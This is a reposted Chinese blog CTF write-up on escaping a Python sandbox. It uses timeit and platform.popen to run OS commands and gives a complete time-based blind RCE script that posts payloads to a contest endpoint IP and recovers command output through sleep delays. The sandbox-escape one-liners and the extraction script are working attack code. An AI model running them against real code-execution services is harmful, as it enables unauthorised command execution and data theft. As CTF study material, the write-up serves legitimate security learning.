博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
记一次python沙箱逃逸绕过(time based rce)
阅读量:7066 次
发布时间:2019-06-28

本文共 2702 字,大约阅读时间需要 9 分钟。

前几天参加了第八届swpu,题目质量很高,学到了很多东西。这里我就一道Python沙箱逃逸题目做一些总结。

题目过滤的很严格,文件读写,网络请求和一些危险模块都被ban掉了。甚至是下划线也会被检测到,这也使得__builtin__,[].__class__.__base__.__subclasses__()魔术方法无法利用。

最后得知利用的是一个内置模块:timeit.我相信很多初学python的人都会用到timeit模块来获取代码的执行时间,参看其文档可以看到这样的用法可以导致任意代码执行。

#coding:utf-8import timeittimeit.timeit("__import__('os').system('')",number=1)

还有一个模块platform同样也行的通。

import platformplatform.popen('id',mode='r',bufsize=-1).read()

在timeit模块里利用__import__内置函数加载os模块,然后就可以任意命令执行了,但是cat flag是没有回显的,因为返回的是代码的执行时间.再加上这里我把发起网络请求也给ban了,所以并不能通过cloudeye等外带通道获取命令执行的结果。

于是这里就有了一种特殊情况:一个没有回显不能访问外网的命令执行,怎么获取返回的结果呢?答案是:time based rce.

具体可以查看出题人博客http://icematcha.win/?p=532

最后类似盲注脚本如下:

#coding:utf-8#author:icematchaimport requestsimport sysimport base64payloads = "QWERTYUIIOPASDFGHJKLZXCVBNM1234567890="def request(url, data, timeout):    try:        res = requests.post(url, data = data, timeout = timeout)        return res.content    except:        return Truedef get_length(url, cmd, timeout):    length = ''     for i in xrange(1,10):        value = '''#!/usr/bin/python#coding:utf-8import timeittimeit.timeit("__import__('os').system('if [ $(%s|base32|wc -c|cut -c %s) =  ];then sleep 2;fi')", number=1)''' % (cmd, i)        data = {
'process': value} res = request(url, data, timeout) if res: llength = i break for i in xrange(1, llength): for _ in xrange(1, 10): value = '''#!/usr/bin/python#coding:utf-8import timeittimeit.timeit("__import__('os').system('if [ $(%s|base32|wc -c|cut -c %s) = %s ];then sleep 2;fi')", number=1)''' % (cmd, i, _) data = {
'process': value} if request(url, data, timeout): length += str(_) print length break return lengthdef get_content(url, cmd, timeout, length): content = '' for i in xrange(1, int(length)+1): for payload in payloads: value = '''#!/usr/bin/python#coding:utf-8import timeittimeit.timeit("__import__('os').system('if [ $(%s|base32|cut -c %s) = %s ];then sleep 2;fi')", number=1)''' % (cmd, i, payload) data = {
'process': value} if request(url, data, timeout): content += payload print content break return contentif __name__ == '__main__': length = get_length('http://47.95.252.234/runcode','cat flag', 2.0) print "## The base32 of content's length is:%s" % length content = get_content('http://47.95.252.234/runcode', 'cat flag', 2.0, length) print "## The base32 of content is:%s" % content print "## The commend result content is:%s" % base64.b32decode(content).strip()

 

转载于:https://www.cnblogs.com/ur10ser/p/7808510.html

你可能感兴趣的文章
Redis——HyperLogLog
查看>>
科技兴国园区兴城——2019国际高科技产业园区博览会在深盛装开幕
查看>>
为什么你不能在 MySQL 3.x 版本上安装 Joomla 1.5.23
查看>>
Exchange 2013公网证书配置
查看>>
将学习进行到底!为普通人的奋斗送福
查看>>
PHPcms怎么调用二级栏目
查看>>
交换的江湖
查看>>
Docker 快速入门教程
查看>>
FTP基础知识
查看>>
web.xml中的*.jsp如果当welcome-file,eclipse在下次跑的时候不自动更新到tomcat中的问题(eclipse可以去死了)...
查看>>
NettyIO
查看>>
重写重要的库函数
查看>>
NYOJ176 整数划分(二)
查看>>
Spring IoC容器初始化过程学习
查看>>
后缀树
查看>>
Java中的代理
查看>>
顺序表的静态建立
查看>>
Java反射(Reflection)获取运行时类的结构
查看>>
来美国一年半了,命里有时终须有,命里无时莫强求(2)
查看>>
swiper轮播图(逆向自动切换类似于无限循环)
查看>>